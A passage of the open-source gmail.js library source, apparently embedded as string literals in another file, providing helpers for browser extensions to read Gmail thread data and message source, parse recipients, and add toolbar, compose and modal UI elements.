($(\"div[aria-label='Social']\").attr(\"aria-selected\") === \"true\") {\n cat_label = \"social\";\n url += \"&cat=^smartlabel_\" + cat_label + \"&search=category\";\n } else if ($(\"div[aria-label='Promotions']\").attr(\"aria-selected\") === \"true\") {\n cat_label = \"promo\";\n url += \"&cat=^smartlabel_\" + cat_label + \"&search=category\";\n } else if ($(\"div[aria-label='Updates']\").attr(\"aria-selected\") === \"true\") {\n cat_label = \"notification\";\n url += \"&cat=^smartlabel_\" + cat_label + \"&search=category\";\n } else if ($(\"div[aria-label='Forums']\").attr(\"aria-selected\") === \"true\") {\n cat_label = \"group\";\n url += \"&cat=^smartlabel_\" + cat_label + \"&search=category\";\n } else {\n url += \"&search=\" + \"mbox\";\n }\n }else {\n url += \"&search=\" + page;\n }\n return url;\n };\n\n\n api.helper.get.visible_emails_post = function(get_data) {\n var emails = [];\n\n if (!get_data) {\n return emails;\n }\n\n var data = get_data.substring(get_data.indexOf(\"[\"), get_data.length);\n var json = JSON.parse(data);\n api.tracker.view_data = json;\n\n for(var i in api.tracker.view_data) {\n if (typeof(api.tracker.view_data[i]) === \"function\") {\n continue;\n }\n\n var cdata = api.tools.parse_view_data(api.tracker.view_data[i]);\n if(cdata.length > 0) {\n merge(emails, cdata);\n }\n }\n return emails;\n };\n\n // dispatch mousedown and mouseup event on passed element\n api.helper.trigger_mouse_click = function(element) {\n if(element) {\n //Trigger mouse down event\n var mouseDown = document.createEvent(\"MouseEvents\");\n mouseDown.initEvent( \"mousedown\", true, false );\n element.dispatchEvent(mouseDown);\n\n //Trigger mouse up event\n var mouseUp = document.createEvent(\"MouseEvents\");\n mouseUp.initEvent( \"mouseup\", true, false );\n element.dispatchEvent(mouseUp);\n\n return true;\n }\n return false;\n };\n\n api.get.visible_emails = function() {\n var url = api.helper.get.visible_emails_pre();\n var get_data = api.tools.make_request(url);\n var emails = api.helper.get.visible_emails_post(get_data);\n\n return emails;\n };\n\n\n api.get.visible_emails_async = function(callback) {\n var url = api.helper.get.visible_emails_pre();\n api.tools.make_request_async(url, \"GET\", function(get_data) {\n var emails = api.helper.get.visible_emails_post(get_data);\n callback(emails);\n });\n };\n\n\n api.get.selected_emails_data = function(){\n var selected_emails = [];\n if(!api.check.is_inside_email()){\n if($(\"[gh='tl'] div[role='checkbox'][aria-checked='true']\").length){\n var email = null;\n var emails = api.get.visible_emails();\n $(\"[gh='tl'] div[role='checkbox']\").each(function(index){\n if($(this).attr(\"aria-checked\") === \"true\"){\n email = api.get.email_data(emails[index].id);\n selected_emails.push(email);\n }\n });\n }\n }else {\n selected_emails.push(api.get.email_data());\n }\n return selected_emails;\n };\n\n api.get.current_page = function() {\n var hash = window.location.hash.split(\"#\").pop().split(\"?\").shift() || \"inbox\";\n var pages = [\n \"sent\", \"inbox\", \"starred\", \"drafts\", \"imp\", \"chats\", \"all\", \"spam\", \"trash\",\n \"settings\", \"label\", \"category\", \"circle\", \"search\"\n ];\n\n var page = null;\n\n if($.inArray(hash, pages) > -1) {\n page = hash;\n }\n\n if(hash.indexOf(\"inbox/\") !== -1 || hash.indexOf(\"sent/\") !== -1 || hash.indexOf(\"all/\") !== -1) {\n page = \"email\";\n }\n else if(hash.match(/\\/[0-9a-f]{16,}$/gi)) {\n page = \"email\";\n }\n\n return page || hash;\n };\n\n\n api.tools.infobox = function(message, time, html){\n var top = $(\".b8.UC\");\n\n // initial Gmail style I noticed on 26 / 05 / 2014 for $(\".b8.UC\") :\n // style=\"position: relative; top: -10000px;\"\n // Seems that when Gmail shows infobox, the style is simply removed\n // - from what I can see in DevTools Elements Panel\n\n if(top.length > 0){\n top.stop(false, true); // cancel any existing fade so we can start again\n var info = top.find(\".vh\");\n if (!html) {\n info.text(message);\n } else {\n info.html(message);\n }\n if(typeof time !== \"undefined\"){\n var initialInfoboxStyle = top.attr(\"style\"); // backup initial style\n top.removeAttr(\"style\").fadeTo(time, 0, function(){ // simply remove then restore\n $(this).attr(\"style\", initialInfoboxStyle); // style attribute insteed of playing\n }); // on visibility property\n }\n else{\n top.removeAttr(\"style\"); // dito\n }\n }\n };\n\n /**\n * Re-renders the UI using the available data.\n *\n * This method does _not_ cause Gmail to fetch new data. This method is useful\n * in circumstances where Gmail has data available but does not immediately\n * render it. `observe.after` may be used to detect when Gmail has fetched the\n * relevant data. For instance, to refresh a conversation after Gmail fetches\n * its data:\n *\n * gmail.observe.after(\"refresh\", function(url, body, data, xhr) {\n * if (url.view === \"cv\") {\n * gmail.tools.rerender();\n * }\n * });\n *\n * If a callback is passed, it will be invoked after re-rendering is complete.\n */\n api.tools.rerender = function(callback) {\n var url = window.location.href;\n var hash = window.location.hash;\n\n // Get Gmail to re-render by navigating away and then back to the current URL. We keep the\n // UI from changing as we navigate away by visiting an equivalent URL: the current URL with the\n // first parameter of the hash stripped (\"#inbox/14a16fab4adc1456\" -> \"#/14a16fab4adc1456\" or\n // \"#inbox\" -> \"#\").\n var tempUrl;\n if (hash.indexOf(\"/\") !== -1) {\n tempUrl = url.replace(/#.*?\\//, \"#/\");\n } else {\n tempUrl = url.replace(/#.*/, \"#\");\n }\n window.location.replace(tempUrl);\n\n // Return to the original URL after a 0-timeout to force Gmail to navigate to the temp URL.\n setTimeout(function() {\n window.location.replace(url);\n\n // For some reason, the two replace operations above create a history entry (tested in\n // Chrome 39.0.2171.71). Pop it to hide our URL manipulation.\n window.history.back();\n\n if (callback) callback();\n }, 0);\n };\n\n api.tools.get_reply_to = function(ms13) {\n // reply to is an array if exists\n var reply_to = ms13 ? ms13[4] : [];\n\n // if reply to set get email from it and return it\n if (reply_to.length !== 0) {\n return api.tools.extract_email_address(reply_to[0]);\n }\n\n // otherwise return null\n return null;\n };\n\n api.tools.parse_email_data = function(email_data) {\n var data = {};\n\n for(var i in email_data) {\n var x = email_data[i];\n if(x[0] === \"cs\") {\n data.thread_id = x[1];\n data.first_email= x[8][0];\n data.last_email = x[2];\n data.total_emails = x[3];\n data.total_threads = x[8];\n data.people_involved = x[15];\n data.subject = x[23];\n }\n\n if(x[0] === \"ms\") {\n if(data.threads === undefined) {\n data.threads = {};\n }\n\n data.threads[x[1]] = {};\n data.threads[x[1]].is_deleted = (x[9] && x[9].indexOf(\"^k\") > -1);\n data.threads[x[1]].reply_to_id = x[2];\n data.threads[x[1]].from = x[5];\n data.threads[x[1]].from_email = x[6];\n data.threads[x[1]].timestamp = x[7];\n data.threads[x[1]].datetime = x[24];\n data.threads[x[1]].attachments = x[21].split(\",\");\n data.threads[x[1]].subject = x[12];\n data.threads[x[1]].content_html = x[13] ? x[13][6] : x[8];\n data.threads[x[1]].to = x[13] ? x[13][1] : ((x[37] !== undefined) ? x[37][1]:[]);\n data.threads[x[1]].cc = x[13] ? x[13][2] : [];\n data.threads[x[1]].bcc = x[13] ? x[13][3] : [];\n data.threads[x[1]].reply_to = api.tools.get_reply_to(x[13]);\n data.threads[x[1]].labels = x[9];\n\n try { // jQuery will sometime fail to parse x[13][6], if so, putting the raw HTML\n data.threads[x[1]].content_plain = x[13] ? $(x[13][6]).text() : x[8];\n }\n catch(e) {\n data.threads[x[1]].content_plain = x[13] ? x[13][6] : x[8];\n }\n }\n }\n\n return data;\n };\n\n\n api.helper.get.email_data_pre = function(email_id) {\n if(api.check.is_inside_email() && email_id === undefined) {\n email_id = api.get.email_id();\n }\n\n var url = null;\n if(email_id !== undefined) {\n url = window.location.origin + window.location.pathname + \"?ui=2&ik=\" + api.tracker.ik + \"&rid=\" + api.tracker.rid + \"&view=cv&th=\" + email_id + \"&msgs=&mb=0&rt=1&search=mbox\";\n }\n return url;\n };\n\n\n api.helper.get.email_data_post = function(get_data) {\n if (!get_data) {\n return {};\n }\n var data = get_data.substring(get_data.indexOf(\"[\"), get_data.length);\n var json = JSON.parse(data);\n\n api.tracker.email_data = json[0];\n return api.tools.parse_email_data(api.tracker.email_data);\n };\n\n\n api.get.email_data = function(email_id) {\n var url = api.helper.get.email_data_pre(email_id);\n\n if (url !== null) {\n var get_data = api.tools.make_request(url);\n var email_data = api.helper.get.email_data_post(get_data);\n return email_data;\n }\n\n return {};\n };\n\n\n api.get.email_data_async = function(email_id, callback) {\n var url = api.helper.get.email_data_pre(email_id);\n if (url !== null) {\n api.tools.make_request_async(url, \"GET\", function (get_data) {\n var email_data = api.helper.get.email_data_post(get_data);\n callback(email_data);\n });\n } else {\n callback({});\n }\n };\n\n\n api.helper.get.email_source_pre = function(email_id) {\n if(api.check.is_inside_email() && email_id === undefined) {\n email_id = api.get.email_id();\n }\n\n var url = null;\n if(email_id !== undefined) {\n url = window.location.origin + window.location.pathname + \"?view=att&th=\" + email_id + \"&attid=0&disp=comp&safe=1&zw\";\n }\n\n return url;\n };\n\n\n api.get.email_source = function(email_id) {\n var url = api.helper.get.email_source_pre(email_id);\n if (url !== null) {\n return api.tools.make_request(url, \"GET\", true);\n }\n return \"\";\n };\n\n\n api.get.email_source_async = function(email_id, callback, error_callback) {\n var url = api.helper.get.email_source_pre(email_id);\n if (url !== null) {\n api.tools.make_request_async(url, \"GET\", callback, error_callback, true);\n } else {\n callback(\"\");\n }\n };\n\n api.get.displayed_email_data = function() {\n var email_data = api.get.email_data();\n\n if (api.check.is_conversation_view()) {\n return get_displayed_email_data_for_thread(email_data);\n }\n else { // Supposing only one displayed email.\n return get_displayed_email_data_for_single_email(email_data);\n }\n };\n\n api.get.displayed_email_data_async = function (callback) {\n api.get.email_data_async(undefined, function (email_data) {\n if (api.check.is_conversation_view()) {\n callback(get_displayed_email_data_for_thread(email_data));\n }\n else { // Supposing only one displayed email.\n callback(get_displayed_email_data_for_single_email(email_data));\n }\n });\n };\n\n var get_displayed_email_data_for_thread = function(email_data) {\n var displayed_email_data = email_data;\n\n var threads = displayed_email_data.threads;\n var total_threads = displayed_email_data.total_threads;\n\n var hash = window.location.hash.split(\"#\")[1] || \"\";\n var is_in_trash = (hash.indexOf(\"trash\") === 0);\n\n for (var id in threads) {\n var email = threads[id];\n var keep_email = (is_in_trash) ? email.is_deleted : !email.is_deleted;\n\n if (!keep_email) {\n delete threads[id];\n total_threads.splice(total_threads.indexOf(id), 1);\n displayed_email_data.total_emails--;\n // TODO: remove people involved only in this email.\n }\n }\n return displayed_email_data;\n };\n\n var get_displayed_email_data_for_single_email = function(email_data) {\n var displayed_email_data = {};\n for (var id in email_data.threads) {\n var message_class_id = \"m\"+id;\n var displayed_email_element = $(\".ii.gt .a3s.aXjCH.\" + message_class_id);\n\n if (displayed_email_element.length > 0) {\n var email = email_data.threads[id];\n\n displayed_email_data.first_email = id;\n displayed_email_data.last_email = id;\n displayed_email_data.subject = email_data.subject;\n\n displayed_email_data.threads = {};\n displayed_email_data.threads[id] = email;\n displayed_email_data.total_emails = 1;\n displayed_email_data.total_threads = [id];\n\n displayed_email_data.people_involved = [];\n\n displayed_email_data.people_involved.push(\n [email.from, email.from_email]\n );\n\n email.to.forEach(function(recipient) {\n var address = api.tools.extract_email_address(recipient);\n var name = api.tools.extract_name(recipient.replace(address, \"\")) || \"\";\n\n displayed_email_data.people_involved.push(\n [name, address]\n );\n });\n\n break;\n }\n }\n return displayed_email_data;\n };\n\n\n api.check.is_conversation_view = function() {\n var flag_name = \"bx_vmb\";\n var flag_value = undefined;\n\n var array_with_flag = api.tracker.globals[17][4][1];\n\n for (var i = 0; i < array_with_flag.length; i++) {\n var current = array_with_flag[i];\n\n if (current[0] === flag_name) {\n flag_value = current[1];\n\n break;\n }\n }\n\n return flag_value === \"0\" || flag_value === undefined;\n };\n\n\n api.tools.extract_email_address = function(str) {\n var regex = /[\\+a-z0-9._-]+@[a-z0-9._-]+\\.[a-z0-9._-]+/gi;\n var matches = (str) ? str.match(regex) : undefined;\n\n return (matches) ? matches[0] : undefined;\n };\n\n\n api.tools.extract_name = function(str) {\n var regex = /[a-z\"._-\\s]+/gi;\n var matches = (str) ? str.match(regex) : undefined;\n\n return (matches && matches[0]) ? matches[0].trim() : undefined;\n };\n\n\n api.tools.i18n = function(label) {\n var locale = api.get.localization();\n var dictionary;\n\n switch (locale) {\n case \"fr\":\n dictionary = {\n \"inbox\": \"Boîte de réception\",\n \"drafts\": \"Brouillons\",\n \"spam\": \"Spam\",\n \"forums\": \"Forums\",\n \"updates\": \"Mises à jour\",\n \"promotions\": \"Promotions\",\n \"social_updates\": \"Réseaux sociaux\"\n };\n break;\n\n case \"nl\":\n dictionary = {\n \"inbox\": \"Postvak IN\",\n \"drafts\": \"Concepten\",\n \"spam\": \"Spam\",\n \"forums\": \"Forums\",\n \"updates\": \"Updates\",\n \"promotions\": \"Reclame\",\n \"social_updates\": \"Sociaal\"\n };\n break;\n\n case \"en\":\n default:\n dictionary = {\n \"inbox\": \"Inbox\",\n \"drafts\": \"Drafts\",\n \"spam\": \"Spam\",\n \"forums\": \"Forums\",\n \"updates\": \"Updates\",\n \"promotions\": \"Promotions\",\n \"social_updates\": \"Social Updates\"\n };\n break;\n }\n\n return dictionary[label];\n };\n\n api.tools.add_toolbar_button = function(content_html, onClickFunction, styleClass) {\n var container = $(document.createElement(\"div\"));\n container.attr(\"class\",\"G-Ni J-J5-Ji\");\n\n var button = $(document.createElement(\"div\"));\n var buttonClasses = \"T-I J-J5-Ji lS \";\n if(styleClass !== undefined &&\n styleClass !== null &&\n styleClass !== \"\"){\n buttonClasses += styleClass;\n }else{\n buttonClasses += \"T-I-ax7 ar7\";\n }\n button.attr(\"class\", buttonClasses);\n\n button.html(content_html);\n button.click(onClickFunction);\n\n var content = $(document.createElement(\"div\"));\n content.attr(\"class\",\"asa\");\n\n container.html(button);\n\n api.dom.toolbar().append(container);\n\n return container;\n };\n\n api.tools.add_compose_button = function(composeWindow, content_html, onClickFunction, styleClass) {\n var button = $(document.createElement(\"div\"));\n var buttonClasses = \"T-I J-J5-Ji aoO L3 \";\n if(styleClass !== undefined){\n buttonClasses += styleClass;\n }\n button.attr(\"class\", buttonClasses);\n button.html(content_html);\n button.click(onClickFunction);\n\n composeWindow.find(\".gU.Up > .J-J5-Ji\").append(button);\n\n return button;\n };\n\n /**\n adds a button to an email attachment.\n\n 'attachment'-parameter must be the object returned from api.dom.email().attachments().\n 'contentHtml' should represent a 21x21 image of some kind. optional.\n 'customCssClass' styling used on the buttons central area. optional.\n 'tooltip' will be shown on hover.\n\n return-value is jQuery-instance representing the created button.\n */\n api.tools.add_attachment_button = function(attachment, contentHtml, customCssClass, tooltip, onClickFunction) {\n var button = $(document.createElement(\"div\"));\n button.attr(\"class\", \"T-I J-J5-Ji aQv T-I-ax7 L3\");\n button.attr(\"style\", \"user-select: none;\");\n button.attr(\"aria-label\", tooltip);\n button.attr(\"data-tooltip\", tooltip);\n\n // make hover-state match existing buttons\n var hoverClass = \"T-I-JW\";\n button.mouseover(function() { this.classList.add(hoverClass); });\n button.mouseout(function() { this.classList.remove(hoverClass); });\n\n var div = $(document.createElement(\"div\"));\n var divClass = \"wtScjd J-J5-Ji aYr\";\n if (customCssClass) {\n divClass += \" \" + customCssClass;\n }\n div.attr(\"class\", divClass);\n if (contentHtml) {\n div.html(contentHtml);\n }\n\n button.append(div);\n button.click(onClickFunction);\n attachment.$el.find(\"div.aQw\").append(button);\n\n return button;\n };\n\n api.tools.remove_modal_window = function() {\n $(\"#gmailJsModalBackground\").remove();\n $(\"#gmailJsModalWindow\").remove();\n };\n\n api.tools.add_modal_window = function(title, content_html, onClickOk, onClickCancel, onClickClose) {\n // By default, clicking on cancel or close should clean up the modal window\n onClickClose = onClickClose || api.tools.remove_modal_window;\n onClickCancel = onClickCancel || api.tools.remove_modal_window;\n\n var background = $(document.createElement(\"div\"));\n background.attr(\"id\",\"gmailJsModalBackground\");\n background.attr(\"class\",\"Kj-JD-Jh\");\n background.attr(\"aria-hidden\",\"true\");\n background.attr(\"style\",\"opacity:0.75;width:100%;height:100%;\");\n\n // Modal window wrapper\n var container = $(document.createElement(\"div\"));\n container.attr(\"id\",\"gmailJsModalWindow\");\n container.attr(\"class\", \"Kj-JD\");\n container.attr(\"tabindex\", \"0\");\n container.attr(\"role\", \"alertdialog\");\n container.attr(\"aria-labelledby\", \"gmailJsModalWindowTitle\");\n container.attr(\"style\", \"left:50%;top:50%;opacity:1;\");\n\n // Modal window header contents\n var header = $(document.createElement(\"div\"));\n header.attr(\"class\", \"Kj-JD-K7 Kj-JD-K7-GIHV4\");\n\n var heading = $(document.createElement(\"span\"));\n heading.attr(\"id\", \"gmailJsModalWindowTitle\");\n heading.attr(\"class\", \"Kj-JD-K7-K0\");\n heading.attr(\"role\", \"heading\");\n heading.html(title);\n\n var closeButton = $(document.createElement(\"span\"));\n closeButton.attr(\"id\", \"gmailJsModalWindowClose\");\n closeButton.attr(\"class\", \"Kj-JD-K7-Jq\");\n closeButton.attr(\"role\", \"button\");\n closeButton.attr(\"tabindex\", \"0\");\n closeButton.attr(\"aria-label\", \"Close\");\n closeButton.click(onClickClose);\n\n header.append(heading);\n header.append(closeButton);\n\n // Modal window contents\n var contents = $(document.createElement(\"div\"));\n contents.attr(\"id\", \"gmailJsModalWindowContent\");\n contents.attr(\"class\", \"Kj-JD-Jz\");\n contents.html(content_html);\n\n // Modal window controls\n var controls = $(document.createElement(\"div\"));\n controls.attr(\"class\", \"Kj-JD-Jl\");\n\n var okButton = $(document.createElement(\"button\"));\n okButton.attr(\"id\", \"gmailJsModalWindowOk\");\n okButton.attr(\"class\", \"J-at1-auR J-at1-atl\");\n okButton.attr(\"name\", \"ok\");\n okButton.text(\"OK\");\n okButton.click(onClickOk);\n\n var cancelButton = $(document.createElement(\"button\"));\n cancelButton.attr(\"id\", \"gmailJsModalWindowCancel\");\n cancelButton.attr(\"name\", \"cancel\");\n cancelButton.text(\"Cancel\");\n cancelButton.click(onClickCancel);\n\n controls.append(okButton);\n controls.append(cancelButton);\n\n container.append(header);\n container.append(contents);\n container.append(controls);\n\n $(document.body).append(background);\n $(document.body).append(container);\n\n var center = function() {\n container.css({\n top: ($(window).height() - container.outerHeight()) / 2,\n left: ($(window).width() - container.outerWidth()) / 2\n });\n };\n\n center();\n\n $(window).resize(center);\n };\n\n api.tools.toggle_minimize = function (){\n //The minimize button\n var minimizeButton = $(\"[alt='Minimize']\")[0];\n\n if(minimizeButton) {\n api.helper.trigger_mouse_click(minimizeButton);\n\n return true;\n }\n return false;\n };\n\n api.chat.is_hangouts = function() {\n if(api.tracker.hangouts !== undefined) {\n return api.tracker.hangouts;\n }\n\n // Returns true if the user is using hangouts instead of the classic chat\n var dwClasses = $(\".dw\");\n if(dwClasses.length > 1) {\n throw \"Figuring out is hangouts - more than one dw classes found\";\n }\n if(dwClasses.length === 0) {\n throw \"Figuring out is hangouts - no dw classes found\";\n }\n\n var dw = dwClasses[0];\n\n var chatWindows = $(\".nH.aJl.nn\", dw);\n if(chatWindows.length > 0) {\n // hangouts\n api.tracker.hangouts = true;\n return true;\n }\n\n chatWindows = $(\".nH.nn\", dw);\n\n if(chatWindows.length > 2) {\n // classic\n api.tracker.hangouts = false;\n return false;\n }\n return undefined;\n };\n\n // retrieve queue of compose window dom objects\n // latest compose at the start of the queue (index 0)\n api.dom.composes = function() {\n var objs = [];\n $(\"div.M9\").each(function(idx, el) {\n objs.push( new api.dom.compose(el));\n });\n return objs;\n };\n\n /**\n A compose object. Represents a compose window in the DOM and provides a bunch of methods and properties to access & interact with the window\n Expects a jQuery DOM element for the compose div\n */\n api.dom.compose = function(element) {\n if (this.constructor !== api.dom.compose) {\n // if not invoked through new(), nothing works as expected!\n return new api.dom.compose(element);\n }\n\n element = $(element);\n if(!element || (!element.hasClass(\"M9\") && !element.hasClass(\"AD\"))) api.tools.error(\"api.dom.compose called with invalid element\");\n this.$el = element;\n return this;\n };\n\n extend(api.dom.compose.prototype, {\n /**\n Retrieve the compose id\n */\n id: function() {\n return this.dom(\"id\").val();\n },\n\n /**\n Retrieve the draft email id\n */\n email_id: function() {\n return this.dom(\"draft\").val();\n },\n\n /**\n Is this compose instance inline (as with reply & forwards) or a popup (as with a new compose)\n */\n is_inline: function() {\n return this.$el.closest(\"td.Bu\").length > 0;\n },\n\n /**\n Retrieves to, cc, bcc and returns them in a hash of arrays\n Parameters:\n options.type string to, cc, or bcc to check a specific one\n options.flat boolean if true will just return an array of all recipients instead of splitting out into to, cc, and bcc\n */\n recipients: function(options) {\n if( typeof options !== \"object\" ) options = {};\n var name_selector = options.type ? \"[name=\" + options.type + \"]\" : \"\";\n\n // determine an array of all emails specified for To, CC and BCC and extract addresses into an object for the callback\n var recipients = options.flat ? [] : {};\n this.$el.find(\".GS input[type=hidden]\"+name_selector).each(function(idx, recipient ){\n if(options.flat) {\n recipients.push(recipient.value);\n } else {\n if(!recipients[recipient.name]) recipients[recipient.name] = [];\n recipients[recipient.name].push(recipient.value);\n }\n });\n return recipients;\n },\n\n /**\n Retrieve the current \"to\" recipients\n */\n to: function(to) {\n return this.dom(\"to\").val(to);\n },\n\n /**\n Retrieve the current \"cc\" recipients\n */\n cc: function(cc) {\n return this.dom(\"cc\").val(cc);\n },\n\n /**\n Retrieve the current \"bcc\" recipients\n */\n bcc: function(bcc) {\n return this.dom(\"bcc\").val(bcc);\n },\n\n /**\n Get/Set the current subject\n Parameters:\n subject string set as new subject\n */\n subject: function(subject) {\n if(subject) this.dom(\"all_subjects\").val(subject);\n subject = this.dom(\"subjectbox\").val();\n return subject ? subject : this.dom(\"subject\").val();\n },\n\n /**\n Get the from email\n if user only has one email account they can send from, returns that email address\n */\n from: function() {\n var el = this.dom(\"from\");\n if (el.length) {\n var fromNameAndEmail = el.val();\n if (fromNameAndEmail) {\n return api.tools.extract_email_address(fromNameAndEmail);\n }\n }\n return api.get.user_email();\n },\n\n /**\n Get/Set the email body\n */\n body: function(body) {\n var el = this.dom(\"body\");\n if(body) el.html(body);\n return el.html();\n },\n\n /**\n Triggers the same action as clicking the \"send\" button would do.\n */\n send: function() {\n return this.dom(\"send_button\").click();\n },\n\n /**\n Map find through to jquery element\n */\n find: function(selector) {\n return this.$el.find(selector);\n },\n\n /**\n Retrieve preconfigured dom elements for this compose window\n */\n dom: function(lookup) {\n if (!lookup) return this.$el;\n var config = {\n to:\"textarea[name=to]\",\n cc:\"textarea[name=cc]\",\n bcc:\"textarea[name=bcc]\",\n id: \"input[name=composeid]\",\n draft: \"input[name=draft]\",\n subject: \"input[name=subject]\",\n subjectbox: \"input[name=subjectbox]\",\n all_subjects: \"input[name=subjectbox], input[name=subject]\",\n body: \"div[contenteditable=true]\",\n reply: \"M9\",\n forward: \"M9\",\n from: \"input[name=from]\",\n send_button: \"div.T-I.T-I-atl\"\n };\n if(!config[lookup]) api.tools.error(\"Dom lookup failed. Unable to find config for \\\"\" + lookup + \"\\\"\",config,lookup,config[lookup]);\n return this.$el.find(config[lookup]);\n }\n\n });\n\n /**\n An object for interacting with an email currently present in the DOM. Represents an individual email message within a thread\n Provides a number of methods and properties to access & interact with it\n Expects a jQuery DOM element for the email div (div.adn as returned by the \"view_email\" observer), or an email_id\n */\n api.dom.email = function(element) {\n if (this.constructor !== api.dom.email) {\n // if not invoked through new(), nothing works as expected!\n return new api.dom.email(element);\n }\n\n if (typeof element === \"string\") {\n this.id = element;\n var message_class_id = \"m\" + this.id;\n this.id_element = $(\"div.ii.gt div.a3s.aXjCH.\" + message_class_id);\n element = this.id_element.closest(\"div.adn\");\n } else {\n element = $(element);\n }\n if (!element || (!element.hasClass(\"adn\"))) api.tools.error(\"api.dom.email called with invalid element/id\");\n\n // if no id specified, extract from the body wrapper class (starts with \"m\" followed by the id)\n if (!this.id) {\n this.id_element = element.find(\"div.ii.gt div.a3s.aXjCH\");\n var classValue = this.id_element.attr(\"class\");\n if (classValue !== null) {\n var matches = classValue.match(/(^|\\s)m([\\S]*)/);\n if (matches !== null) {\n this.id = matches.pop();\n }\n }\n }\n this.$el = element;\n return this;\n };\n\n extend(api.dom.email.prototype, {\n\n /**\n Get/Set the full email body as it sits in the DOM\n If you want the actual DOM element use .dom(\"body\");\n Note: This gets & sets the body html after it has been parsed & marked up by GMAIL. To retrieve it as it exists in the email message source, use a call to .data();\n */\n body: function(body) {\n var el = this.dom(\"body\");\n if (body) {\n el.html(body);\n }\n return el.html();\n },\n\n /**\n Get/Set the sender\n Optionally receives email and name properties. If received updates the values in the DOM\n Returns an object containing email & name of the sender and dom element\n */\n from: function(email, name) {\n var el = this.dom(\"from\");\n if (email) {\n el.attr(\"email\",email);\n }\n if (name) {\n el.attr(\"name\",name);\n el.html(name);\n }\n return {\n email: el.attr(\"email\"),\n name: el.attr(\"name\"),\n el: el\n };\n },\n\n /**\n Get/Set who the email is showing as To\n Optionally receives an object containing email and/or name properties. If received updates the values in the DOM.\n Optionally receives an array of these objects if multiple recipients\n Returns an array of objects containing email & name of who is showing in the DOM as the email is to\n */\n to: function(to_array) {\n\n // if update data has been passeed, loop through & create a new to_wrapper contents\n if (to_array) {\n if (!$.isArray(to_array)) {\n to_array = [to_array];\n }\n var html = [];\n $.each(to_array, function(index, obj) {\n html.push( $(\"\").attr({\n dir: \"ltr\",\n email: obj.email,\n name: obj.name\n }).addClass(\"g2\").html(obj.name).wrap(\"\").parent().html());\n });\n this.dom(\"to_wrapper\").html(\"to \" + html.join(\", \"));\n }\n\n\n // loop through any matching to elements & prepare for output\n var out = [];\n\n this.dom(\"to\").each(function() {\n var el = $(this);\n out.push({\n email: el.attr(\"email\"),\n name: el.attr(\"name\"),\n el: el\n });\n });\n return out;\n },\n\n /**\n Retries the DOM elements which represents the emails attachments\n */\n attachments: function() {\n var out = [];\n\n this.dom(\"attachments\").each(function() {\n var el = $(this);\n var url = el.attr(\"download_url\");\n var parsed = api.tools.parse_attachment_url(url);\n parsed.$el = el;\n parsed.size = el.find(\".SaH2Ve\").html();\n out.push(parsed);\n });\n return out;\n },\n\n /**\n Retrieve relevant email from the Gmail servers for this email\n Makes use of the gmail.get.email_data() method\n Returns an object\n */\n data: function() {\n if (typeof api.dom.email_cache !== \"object\") {\n api.dom.email_cache = {};\n }\n if (!api.dom.email_cache[this.id]) {\n\n // retrieve & cache the data for this whole thread of emails\n var data = api.get.email_data(this.id);\n $.each(data.threads, function(email_id, email_data) {\n api.dom.email_cache[email_id] = email_data;\n });\n }\n return api.dom.email_cache[this.id];\n },\n\n /**\n Retrieve email source for this email from the Gmail servers\n Makes use of the gmail.get.email_source() method\n Returns string of email raw source\n */\n source: function() {\n return api.get.email_source(this.id);\n },\n\n /**\n Retrieve preconfigured dom elements for this email\n */\n dom: function(lookup) {\n if (!lookup) return this.$el;\n var config = {\n body: \"div.a3s\",\n from: \"span[email].gD\",\n to: \"span[email].g2\",\n to_wrapper: \"span.hb\",\n timestamp: \"span.g3\",\n star: \"div.zd\",\n attachments: \"div.hq.gt div.aQH span.aZo\",\n\n // buttons\n reply_button: \"div[role=button].aaq\",\n menu_button: \"div[role=button].aap\",\n details_button: \"div[role=button].ajz\"\n };\n if(!config[lookup]) api.tools.error(\"Dom lookup failed. Unable to find config for \\\"\" + lookup + \"\\\"\");\n return this.$el.find(config[lookup]);\n }\n\n });\n\n /**\n An object for interacting with an email currently present in the DOM. Represents a conversation thread\n Provides a number of methods and properties to access & interact with it\n Expects a jQuery DOM element for the thread wrapper div (div.if as returned by the \"view_thread\" observer)\n */\n api.dom.thread = function(element) {\n if (this.constructor !== api.dom.thread) {\n // if not invoked through new(), nothing works as expected!\n return new api.dom.thread(element);\n }\n\n if (!element || (!element.hasClass(\"if\"))) api.tools.error(\"api.dom.thread called with invalid element/id\");\n this.$el = element;\n return this;\n };\n\n extend(api.dom.thread.prototype, {\n\n /**\n Retrieve preconfigured dom elements for this email\n */\n dom: function(lookup) {\n if (!lookup) return this.$el;\n var config = {\n opened_email: \"div.adn\",\n subject: \"h2.hP\",\n labels: \"div.hN\"\n };\n if(!config[lookup]) api.tools.error(\"Dom lookup failed. Unable to find config for \\\"\" + lookup + \"\\\"\");\n return this.$el.find(config[lookup]);\n }\n\n });\n\n /**\n * Show a compose window\n * @returns {boolean}\n */\n api.compose.start_compose = function() {\n\n //The compose button\n var composeEl = $(\".T-I.J-J5-Ji.T-I-KE.L3\")[0];\n\n if(composeEl) {\n api.helper.trigger_mouse_click(composeEl);\n\n return true;\n }\n return false;\n };\n\n return api;\n};"
+pre_fix = "var Gmail_ = function(localJQuery) {\n\n /*\n Use the provided \"jQuery\" if possible, in order to avoid conflicts with\n other extensions that use $ for other purposes.\n */\n var $;\n if (typeof localJQuery !== \"undefined\") {\n $ = localJQuery;\n } else if (typeof jQuery !== \"undefined\") {\n $ = jQuery;\n } else {\n // try load jQuery through node.\n try {\n $ = require(\"jquery\");\n }\n catch(err) {\n // else leave $ undefined, which may be fine for some purposes.\n }\n }\n\n var api = {\n get : {},\n observe : {},\n check : {},\n tools : {},\n tracker : {},\n dom : {},\n chat : {},\n compose : {},\n helper : {get: {}}\n };\n\n api.version = \"0.6.4\";\n api.tracker.globals = typeof GLOBALS !== \"undefined\"\n ? GLOBALS\n : (\n typeof(window) !== \"undefined\" && window.opener !== null && typeof window.opener.GLOBALS !== \"undefined\"\n ? window.opener.GLOBALS\n : []\n );\n api.tracker.view_data = typeof VIEW_DATA !== \"undefined\"\n ? VIEW_DATA\n : (\n typeof(window) !== \"undefined\" && window.opener !== null && typeof window.opener.VIEW_DATA !== \"undefined\"\n ? window.opener.VIEW_DATA\n : []\n );\n api.tracker.ik = api.tracker.globals[9] || \"\";\n api.tracker.hangouts = undefined;\n\n\n api.get.last_active = function() {\n var data = api.tracker.globals[17][15];\n return {\n time : data[1],\n ip : data[3],\n mac_address : data[9],\n time_relative : data[10]\n };\n };\n\n\n api.get.loggedin_accounts = function() {\n var i, j, data;\n var users = [];\n\n var globals17 = api.tracker.globals[17];\n for (i 